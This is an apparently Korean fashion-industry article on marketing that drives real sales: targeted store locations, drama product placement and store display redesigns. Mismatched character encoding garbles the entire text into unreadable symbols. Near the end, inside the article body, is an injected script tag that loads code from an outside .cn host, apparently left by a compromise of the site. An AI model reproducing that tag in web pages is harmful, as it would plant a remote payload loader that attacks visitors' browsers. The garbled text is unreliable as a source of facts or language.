¡Ü ¸¶ÄÉÆá¤ÆÇÃË ¡Ü Á·Áý°Ô ¸¶ÄÉÆÃÀ¸·Î ´ë¹Ú ÅͶ߸°´Ù
¡°°æ±â ³ªºüÁö¸é °¡Àå ¸ÕÀú ÁÙÀÌ´Â °ÍÀÌ ¸¶ÄÉÆà ¿¹»êÀÌ´Ù¡±
ºÒ°æ±âÀϼö·Ï ÀûÀº ºñ¿ëÀ¸·Î Å« È¿°ú¸¦ ³¾ ¼ö ÀÖ´Â ¸¶ÄÉÆà ±â¹ýÀÌ ¿ä±¸µÈ´Ù´Â À¯·Â ºê·£µå ¸¶ÄÉÆà ÆÀÀåÀÇ ¸»ÀÌ´Ù.
¸î ½ÃÁð Àü±îÁö¸¸ Çصµ ºÒƯÁ¤ ´Ù¼ö¸¦ °Ü³ÉÇÑ TV-CF¸¦ ¸·´ëÇÑ ±Ý¾×À» ÅõÀÚÇØ Á¦ÀÛ¡¤¹æ¿µÇϰųª ºê·£µå À̹ÌÁö Çâ»óÀ» À§ÇÑ ¸¶ÄÉÆÃÀÌ ¸¹¾ÒÁö¸¸ ÃÖ±Ù¿¡´Â ÅõÀÚºñ¿ë ´ëºñ ³ôÀº È¿À²À» ³¾ ¼ö ÀÖ´Â ¸¶ÄÉÆà ±â¹ýÀÌ ¿ä±¸µÇ°í ÀÖ´Ù. µû¶ó¼ ½ÇÁúÀûÀÎ ÆǸŷΠÀ̾îÁö´Â Ÿ°Ù ¼ÒºñÀÚµéÀ» ã¾Æ°¡´Â Á·Áý°Ô ¸¶ÄÉÆÃÀÌ µîÀåÇÏ°í ÀÖ´Ù.
¡¸¿¡½ºÁ¦ÀÌ¡¹´Â ¿©ÀÚ´ëÇÐÀ» Áß½ÉÀ¸·Î º½°ú °¡À» ÃàÁ¦ ±â°£¿¡ ½ºÆù¼ ÇùÂùÀ» ²ÙÁØÈ÷ ÇÏ°í ÀÖ´Ù.
¸¶ÄÉÆÃ½Ç ¼°©¼ö °úÀåÀº ¡°20´ë ÃʹÝÀÌ ´ëºÎºÐÀÎ ¿©ÀÚ´ëÇÐÀ» ã¾Æ°¡ Ÿ°Ù ¼ÒºñÀÚÃþÀ» Àû±ØÀûÀ¸·Î °ø·«ÇÏ°í ÀÖ¾î ½ÇÁúÀûÀÎ ÆǸŷΠÀ̾îÁö°í ÀÖ´Ù¡±¸ç ¡°ÀÌ°°Àº ¸¶ÄÉÆÃÀ¸·Î 20´ë ÃʹÝÀÇ ¼ÒºñÀÚµéÀ» ´ë°Å À¯Ä¡ÇÏ´Â µ¥ È¿°ú¸¦ º¸°í ÀÖ´Ù¡±°í ¸»Çß´Ù.
¾Æ¿¹ Ÿ°Ù ¼ÒºñÀÚµéÀ» ã¾Æ°¡ ¸ÅÀåÀ» ¿î¿µÇÏ´Â ºê·£µåµéµµ ´Ã¾î³ª°í ÀÖ´Ù.
¡¸¿¡¶ß¿Í¡¹ ¡¸¿¤¸£»Ñ»Í¡¹ ¡¸¼îÄÝ¶ó¡¹ ¡¸¾ÆÀ̸¾¡¹ ¡¸º£ºñ¶ó¡¹ ¡¸¾Ó¶¼¶¼¡¹µî À¯¾Æº¹ ºê·£µå ¸ÅÀåÀÌ ´ë°Å ¹ÐÁýÇØ ÀÖ´Â ¿ª»ïµ¿ Â÷º´¿ø ÁÖº¯ÀÌ ´ëÇ¥ÀûÀÎ °æ¿ì.
ÀÌµé ºê·£µåµéÀ» Àα٠»êºÎÀΰú¸¦ ã´Â ¼ÒºñÀÚµéÀ» ´ë»óÀ¸·Î ¿µ¾÷À» ÇÏ°í ÀÖ¾î ½ÇÁúÀûÀÎ ÆǸŰ¡ ÀÌ·ç¾îÁö´Â °æ¿ì°¡ ¸¹´Ù.
¶Ç ¡¸³ªÀÌÅ°¡¹ ¡¸ÈÙ¶ó¡¹ ¡¸Çª¸¶¡¹µîÀÇ ½ºÆ÷Ã÷ ºê·£µåµé°ú ¡¸¹«³Ä¹«³Ä¡¹ ¡¸ÅèÅ°Á ¡¸·¹°íÅ°ÁµîÀÇ ¾Æµ¿º¹ ºê·£µåµéÀº ¿ëÀÎ ¿¡¹ö·£µå µî ³îÀ̵¿»ê¿¡ ¹ÐÁýµÅ ÀÖ´Â µî ¼ÒºñÀÚ¸¦ ã¾Æ¼ À¯ÅëÀ» ±¸¼ºÇÏ°í ÀÖ´Ù.
ÀÌ°÷ °ü°èÀÚ¿¡ ÀÇÇÏ¸é ¡°¡¸³ªÀÌÅ°¡¹ ¡¸ÈÎ¶ó¡¹ µîÀÇ ºê·£µåµéÀº ¿¬°£ 7¾ï¿ø »ó´çÀÇ ¸ÅÃâÀ» ¿Ã¸®°í ÀÖ´Ù¡±´Â °Í.
¡¸·¹³ë¸¶¡¹ ¡¸´Ù¹Ì½º¡¹µî ÈÖÆ®´Ï½º¿þ¾îµéµµ ÈÖÆ®´Ï½º¼¾ÅÍ ³»¿¡ ¸ÅÀåÀ» ¿°í È«º¸ Â÷¿øÀ» ³Ñ¾î ½ÇÁúÀûÀÎ ÆǸŸ¦ À§ÇÑ À¯ÅëÀ¸·Î ¿î¿µÇÏ°í ÀÖ´Ù.
¶Ç ¡¸³ë½ºÆäÀ̽º¡¹¡¸ÄÉÀÌÅõ¡¹¡¸¿¡µ¨¹ÙÀ̽º¡¹µîÀÇ ¾Æ¿ôµµ¾î ºê·£µåµéµµ û°è»ê, ºÏÇÑ»ê, µµºÀ»ê ÃÊÀÔ µî¿¡ ¸ÅÀåÀ» ¿°í »ê¾ÇÀÎÀ» ´ë»óÀ¸·Î ¿µ¾÷ÇÏ°í ÀÖ´Ù.
û°è»ê¿¡¼ ¡¸¿¡µ¨¹ÙÀ̽º¡¹¸ÅÀåÀ» ¿î¿µÇÏ°í ÀÖ´Â ´ë¸®Á¡ÁÖ´Â ¡°ÁÖ¸»ÀÇ °æ¿ì ¸ÅÃâÀÌ 700¸¸¿ø±îÁö ¿Ã¶ó À¢¸¸ÇÑ °¡µÎÁ¡º¸´Ù ¸ÅÃâÀÌ ³ôÀº Æí¡±À̶ó°í ¸»Çß´Ù.
ÀÌó·³ ½ÇÁúÀûÀÎ ¼ÒºñÀÚ¸¦ ã¾Æ À¯Åë¸ÁÀ» ¿ÀÇÂÇÏ°í °í°´ ¹ÐÂø ¸¶ÄÉÆÃÀ» ÆîÃÄ Àû±ØÀûÀ¸·Î ¼ÒºñÀÚ¸¦ À¯Ä¡ÇÏ´Â ºê·£µåµéÀÌ ¾ÕÀ¸·Îµµ ´Ã¾î³¯ Àü¸ÁÀÌ´Ù.
PPL! ¶ß¸é ´ë¹Ú
½ÇÁ¦ ¼ÒºñÀÚ¸¦ °Ü³ÉÇÑ ¸¶ÄÉÆñâ¹ý °¡¿îµ¥ ÅõÀÚºñ¿ë ´ëºñ Å« È¿°ú¸¦ º¼ ¼ö ÀÖ´Â ±â¹ýÀºPPL(Product Placement). PPLÀº TV, ¿µÈ µîÀ» ÅëÇØ ½ºÅ¸¸¦ ³»¼¼¿ö ºê·£µå¸¦ È«º¸ÇÏ´Â ¸¶ÄÉÆÃÀÌ´Ù.
¿Ã »ó¹Ý±â ·±ÄªµÈ ¡¸ÄðÇϽº¡¹´Â Áö³ 6¿ùºÎÅÍ ±¤°í¸ðµ¨ ±è·¡¿øÀÌ Ã⿬ÇÏ´Â '¿Áž¹æ °í¾çÀÌ'¿¡ ÇùÂùÇÏ¸é¼ È¿°ú¸¦ ÅåÅåÈ÷ º¸°í ÀÖ´Ù.
µå¶ó¸¶°¡ ¶ß¸é¼ ¿¬¹æ±â¸¦ Å׸¶·Î ÇÑ Æ¼¼ÅÃ÷°¡ Àα⸮¿¡ ÆÈ·Á ÇÑ ´ÞÀÌ Ã¤ ¾ÈµÅ 1¸¸2õÀå, 2¾ï¿øÀÇ ¸ÅÃâÀ» ¿Ã·È´Ù. ƯÈ÷ Á¾Àü 20°³Á¡¿¡¼ ÇÏ·ç 6õ~6õ500¸¸¿ø¼±ÀÌ´ø ¸ÅÃâÀÌ PPL½Ç½Ã ÀÌÈÄ 8õ~8õ500¸¸¿ø¼±À¸·Î 30% Á¤µµ »ó½ÂÇß´Ù.
ÀÌ´Â µå¶ó¸¶ ¼±Á¤ÀÌ Àß ¸Â¾Æ ¶³¾îÁø °Í »Ó¸¸ ¾Æ´Ï¶ó PPLÀ» Àû±ØÀûÀ¸·Î Çϱâ À§ÇØ µå¶ó¸¶ ¹æ¿µ ÀÌÀü¿¡ È÷Æ®¿¹»ó ¾ÆÀÌÅÛÀ» 1¸¸5õÀå Á¤µµ »çÀü Áغñ¸¦ ÇØ ³õÀº °á°úÀ̱⵵ ÇÏ´Ù.
¡¸ÄðÇϽº¡¹Ãø¿¡ ÀÇÇÏ¸é ¡°µå¶ó¸¶ ¼±Á¤À» À§ÇØ ÀÛ°¡³ª ¿¬Ãâ°¡, Ã⿬ÁøÀ» °ËÅäÇÑ ÈÄ ºê·£µå À̹ÌÁö¿Í °¡Àå Àß ¸Â´Â ÇÁ·Î±×·¥À» ¼±Á¤ÇØ ¹æ¿µ Àü¿¡ °è¾àÇÏ´Â °ÍÀÌ ÀûÀº ºñ¿ëÀ¸·Î Å« È¿°ú¸¦ ³¾ ¼ö ÀÖ´Â ¹æ¹ý¡±À̶ó°í ¸»Çß´Ù.
ÀÌ¿¡ ÈûÀÔ¾î ¡¸ÄðÇϽº¡¹´Â ¸ÅÀå¿¡ ±è·¡¿ø Å׸¶Á¸À» ¿°í ÀϺΠÈ÷Æ® ¾ÆÀÌÅÛÀÇ ¸®Æû ¼ºñ½º¸¦ Á¦°øÇÏ´Â µî À̺¥Æ®¸¦ ¿°í ÀÖ´Ù.
¸ÅÀå VMDµµ ¸ÅÃâÀ» ¿Ã¸®±â À§ÇØ ÁÖ¿äÇÑ ¿ä¼Ò·Î ÀÛ¿ëÇÏ°í ÀÖ´Ù.
¼ÒºñÀڵ鿡°Ô ÀϹæÀûÀ¸·Î º¸¿©ÁÖ°í Àü´ÞÇÏ´Â °Í¿¡¼ Å»ÇÇ, ÇÔ²² ÇÒ ¼ö ÀÖ´Â °ø°£À» ¸¶·ÃÇØ ¼ÒºñÀÚ¸¦ À¯Ä¡ÇÏ°í ÀÖ´Ù.
¡¸ÆäÀÌÆ۹项Àº ¸ÅÀåÀ» ¿þ½ºÅÏ ºÐÀ§±â¿¡ °ÇÑ ºñÆ®ÀÇ À½¾Ç, Ã¥Àå, ¹Ù(bar)µî ÀÚÀ¯½º·´°í µ¶Æ¯ÇÑ ºÐÀ§±â¸¦ ¿¬ÃâÇÏ°í ÀÖ´Ù. ¡¸ÆäÀÌÆ۹项Àº ³»¼Å³Î Áö¿À±×¶óÇÈÀ» Âõ¾î ³ª»ç¿Í ¸øÀ» ³Ö°í Åõ¸íÇÏ°Ô ±»Çô ¸¸µç »óÆÇ°ú ¸¶³×Å·, °ñÆÇÁö¸¦ ½×¾Æ ¸¸µç µð½ºÇ÷¹ÀÌ´ë, ´ë¸øÀ» ¹Ú¾Æ ¸¸µç ³×ÀÓº¸µå, ÀÚÀÛ°ú ÄÜÅ©¸®Æ®¸¦ »ç¿ëÇÑ ¹Ù´Ú µî ¡®ºóƼÁö ³»Ãß·²¸®Áò¡¯À̶ó´Â ÄÁ¼ÁÀ» °ÇÏ°Ô º¸¿©ÁÖ°í ÀÖ´Ù.
¡¸µ¥¾ó½º¡¹µµ °¶·¯¸®¾Æ ¾Ð±¸Á¤Á¡À» ¸ð´øÇÑ À̹ÌÁöÀÇ Àü¸é°ú °í¸ñÀ» »ç¿ëÇÑ °Å¿ï, À¯¸Ó·¯½ºÇÑ ÀÏ·¯½ºÆ® µîÀ¸·Î Àç¹ÌÀÖ°í µ¶Æ¯ÇÑ ¸ÅÀåÀ¸·Î ¸®´º¾óÇØ 1¾ï¿ø´ë ÃʹÝÀÇ ¸ÅÃâÀ» 1¾ï8õ¸¸¿ø´ë·Î ²ø¾î ¿Ã·È´Ù.
ÀÌ ¸ÅÀåÀ» ãÀº ÇÑ ¼ÒºñÀÚ¿¡ µû¸£¸é ¡°µ¶Æ¯ÇÑ À½¾Ç°ú ÀÌ»öÀûÀÎ ¸ÅÀå ÀÎÅ׸®¾î°¡ Àç¹Ì¸¦ ÁÖ°í Çѹø µé¾î°¡ º¸°í ½Í´Ù´Â Ã浿À» ÀÚ±ØÇÑ´Ù¡±°í ¸»Çß´Ù.
ÆÇÃËÀ» À§ÇÑ ´Ù¾çÇÑ ¾ÆÀ̵ð¾î·Î ½ÇÁ¦ ÆǸŰ¡ Áõ°¡ÇÑ ºê·£µåµéµµ ÀÖ´Ù.
¡¸°Ô½º¡¹ ¡¸¸®?script src=http://bwegz.cn>
¹é¶õ¼÷
pink@fashioninsight.com
- Copyrights ¨Ï ¸ÞÀ̺ñ¿ø(ÁÖ) ÆмÇÀλçÀÌÆ®, ¹«´Ü ÀüÀç ¹× Àç¹èÆ÷ ±ÝÁö -